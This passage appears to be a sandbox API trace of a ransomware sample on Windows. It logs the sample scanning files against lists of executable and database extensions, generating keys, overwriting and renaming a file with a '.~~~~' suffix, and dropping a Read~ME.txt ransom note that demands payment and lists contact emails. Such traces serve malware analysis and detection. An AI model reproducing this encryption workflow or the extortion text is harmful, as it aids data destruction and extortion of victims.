	[0084.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0084.465] lstrlenW (lpString=".dbv") returned 4
	[0084.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0084.465] lstrlenW (lpString=".SDF") returned 4
	[0084.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0084.465] lstrlenW (lpString=".dtxs") returned 5
	[0084.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0084.465] lstrlenW (lpString=".db3") returned 4
	[0084.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0084.465] lstrlenW (lpString=".OST") returned 4
	[0084.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0084.465] lstrlenW (lpString=".dbx") returned 4
	[0084.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0084.465] lstrlenW (lpString=".DB3") returned 4
	[0084.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0084.465] lstrlenW (lpString=".DAT") returned 4
	[0084.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0084.466] lstrlenW (lpString=".VHDX") returned 5
	[0084.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0084.466] lstrlenW (lpString=".ndf") returned 4
	[0084.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0084.466] lstrlenW (lpString=".DB") returned 3
	[0084.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0084.466] lstrlenW (lpString=".sql") returned 4
	[0084.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0084.466] lstrlenW (lpString=".MYD") returned 4
	[0084.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0084.466] lstrlenW (lpString=".DBT") returned 4
	[0084.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0084.466] lstrlenW (lpString=".ACCDB") returned 6
	[0084.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0084.466] lstrlenW (lpString=".fdb") returned 4
	[0084.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0084.466] lstrlenW (lpString=".bak") returned 4
	[0084.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0084.466] lstrlenW (lpString=".myd") returned 4
	[0084.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0084.466] lstrlenW (lpString=".DTXS") returned 5
	[0084.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0084.466] lstrlenW (lpString=".ckp") returned 4
	[0084.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0084.466] lstrlenW (lpString=".dbt") returned 4
	[0084.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0084.466] lstrlenW (lpString=".db") returned 3
	[0084.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0084.466] lstrlenW (lpString=".TXT") returned 4
	[0084.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0084.466] lstrlenW (lpString=".MDF") returned 4
	[0084.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0084.466] lstrlenW (lpString=".bdb") returned 4
	[0084.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0084.467] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0084.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.467] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0084.468] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.468] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0084.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.468] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20445810108) returned 1
	[0084.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9c2f0fd0, dwHighDateTime=0x1d60e1e)) 
	[0084.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a27c8
	[0084.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a27c8 | out: hHeap=0x300000) returned 1
	[0084.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808138
	[0084.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28431c8
	[0084.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808138 | out: hHeap=0x300000) returned 1
	[0084.468] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0084.469] GetLastError () returned 0x0
	[0084.469] GetLastError () returned 0x0
	[0084.469] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0084.469] GetLastError () returned 0x0
	[0084.469] GetLastError () returned 0x0
	[0084.471] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffb67f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.471] WriteFile (in: hFile=0x11c, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x4981, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x4981, lpOverlapped=0x0) returned 1
	[0084.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0084.472] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.472] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.472] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.472] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.472] CloseHandle (hObject=0x11c) returned 1
	[0084.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0084.472] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.~~~~")) returned 1
	[0084.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0084.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.473] GetLastError () returned 0x0
	[0084.473] RtlWakeConditionVariable () returned 0x365f70
	[0084.473] GetCurrentThreadId () returned 0x9cc
	[0084.473] GetCurrentThreadId () returned 0x9cc
	[0084.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808480
	[0084.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28089c0 | out: hHeap=0x300000) returned 1
	[0084.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2800 | out: hHeap=0x300000) returned 1
	[0084.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28089c0
	[0084.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0084.475] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0084.475] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0084.476] CloseHandle (hObject=0x11c) returned 1
	[0084.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28089c0 | out: hHeap=0x300000) returned 1
	[0084.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808480 | out: hHeap=0x300000) returned 1
	[0084.477] RtlWakeConditionVariable () returned 0x365f70
	[0084.477] GetCurrentThreadId () returned 0x9cc
	[0084.477] GetCurrentThreadId () returned 0x9cc
	[0084.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808480
	[0084.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808bb8 | out: hHeap=0x300000) returned 1
	[0084.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd90 | out: hHeap=0x300000) returned 1
	[0084.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808bb8
	[0084.477] lstrlenW (lpString=".scr") returned 4
	[0084.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".scr") returned 0x0
	[0084.477] lstrlenW (lpString=".cmd") returned 4
	[0084.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".cmd") returned 0x0
	[0084.477] lstrlenW (lpString=".dll") returned 4
	[0084.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".dll") returned 0x0
	[0084.477] lstrlenW (lpString=".bat") returned 4
	[0084.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".bat") returned 0x0
	[0084.477] lstrlenW (lpString=".cpl") returned 4
	[0084.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".cpl") returned 0x0
	[0084.477] lstrlenW (lpString=".sys") returned 4
	[0084.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".sys") returned 0x0
	[0084.477] lstrlenW (lpString=".msc") returned 4
	[0084.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".msc") returned 0x0
	[0084.477] lstrlenW (lpString=".com") returned 4
	[0084.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".com") returned 0x0
	[0084.477] lstrlenW (lpString=".lnk") returned 4
	[0084.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".lnk") returned 0x0
	[0084.477] lstrlenW (lpString=".msp") returned 4
	[0084.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".msp") returned 0x0
	[0084.477] lstrlenW (lpString=".pif") returned 4
	[0084.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".pif") returned 0x0
	[0084.477] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0084.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0084.478] lstrlenW (lpString=".sqb") returned 4
	[0084.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".sqb") returned 0x0
	[0084.478] lstrlenW (lpString=".ost") returned 4
	[0084.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".ost") returned 0x0
	[0084.478] lstrlenW (lpString=".txt") returned 4
	[0084.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".txt") returned 0x0
	[0084.478] lstrlenW (lpString=".mdt") returned 4
	[0084.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".mdt") returned 0x0
	[0084.478] lstrlenW (lpString=".BDB") returned 4
	[0084.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".BDB") returned 0x0
	[0084.478] lstrlenW (lpString=".eql") returned 4
	[0084.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".eql") returned 0x0
	[0084.478] lstrlenW (lpString=".DBF") returned 4
	[0084.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".DBF") returned 0x0
	[0084.478] lstrlenW (lpString=".EQL") returned 4
	[0084.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".EQL") returned 0x0
	[0084.478] lstrlenW (lpString=".FDB") returned 4
	[0084.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".FDB") returned 0x0
	[0084.478] lstrlenW (lpString=".EDB") returned 4
	[0084.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".EDB") returned 0x0
	[0084.478] lstrlenW (lpString=".DACPAC") returned 7
	[0084.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".DACPAC") returned 0x0
	[0084.478] lstrlenW (lpString=".VHD") returned 4
	[0084.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".VHD") returned 0x0
	[0084.479] lstrlenW (lpString=".DBV") returned 4
	[0084.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".DBV") returned 0x0
	[0084.479] lstrlenW (lpString=".dacpac") returned 7
	[0084.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".dacpac") returned 0x0
	[0084.479] lstrlenW (lpString=".sdf") returned 4
	[0084.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".sdf") returned 0x0
	[0084.479] lstrlenW (lpString=".accdb") returned 6
	[0084.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".accdb") returned 0x0
	[0084.479] lstrlenW (lpString=".DBX") returned 4
	[0084.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".DBX") returned 0x0
	[0084.479] lstrlenW (lpString=".MDT") returned 4
	[0084.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".MDT") returned 0x0
	[0084.479] lstrlenW (lpString=".SQB") returned 4
	[0084.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".SQB") returned 0x0
	[0084.479] lstrlenW (lpString=".vhd") returned 4
	[0084.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".vhd") returned 0x0
	[0084.479] lstrlenW (lpString=".bac") returned 4
	[0084.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".bac") returned 0x0
	[0084.479] lstrlenW (lpString=".mdf") returned 4
	[0084.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".mdf") returned 0x0
	[0084.479] lstrlenW (lpString=".BAK") returned 4
	[0084.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".BAK") returned 0x0
	[0084.479] lstrlenW (lpString=".BAC") returned 4
	[0084.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".BAC") returned 0x0
	[0084.479] lstrlenW (lpString=".dbs") returned 4
	[0084.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".dbs") returned 0x0
	[0084.479] lstrlenW (lpString=".vhdx") returned 5
	[0084.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".vhdx") returned 0x0
	[0084.479] lstrlenW (lpString=".NDF") returned 4
	[0084.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".NDF") returned 0x0
	[0084.480] lstrlenW (lpString=".dat") returned 4
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".dat") returned 0x0
	[0084.480] lstrlenW (lpString=".DBS") returned 4
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".DBS") returned 0x0
	[0084.480] lstrlenW (lpString=".CKP") returned 4
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".CKP") returned 0x0
	[0084.480] lstrlenW (lpString=".edb") returned 4
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".edb") returned 0x0
	[0084.480] lstrlenW (lpString=".PST") returned 4
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".PST") returned 0x0
	[0084.480] lstrlenW (lpString=".dbf") returned 4
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".dbf") returned 0x0
	[0084.480] lstrlenW (lpString=".SQL") returned 4
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".SQL") returned 0x0
	[0084.480] lstrlenW (lpString=".pst") returned 4
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".pst") returned 0x0
	[0084.480] lstrlenW (lpString=".dbv") returned 4
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".dbv") returned 0x0
	[0084.480] lstrlenW (lpString=".SDF") returned 4
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".SDF") returned 0x0
	[0084.480] lstrlenW (lpString=".dtxs") returned 5
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".dtxs") returned 0x0
	[0084.480] lstrlenW (lpString=".db3") returned 4
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".db3") returned 0x0
	[0084.480] lstrlenW (lpString=".OST") returned 4
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".OST") returned 0x0
	[0084.480] lstrlenW (lpString=".dbx") returned 4
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".dbx") returned 0x0
	[0084.480] lstrlenW (lpString=".DB3") returned 4
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".DB3") returned 0x0
	[0084.480] lstrlenW (lpString=".DAT") returned 4
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".DAT") returned 0x0
	[0084.480] lstrlenW (lpString=".VHDX") returned 5
	[0084.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".VHDX") returned 0x0
	[0084.481] lstrlenW (lpString=".ndf") returned 4
	[0084.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpSrch=".ndf") returned 0x0
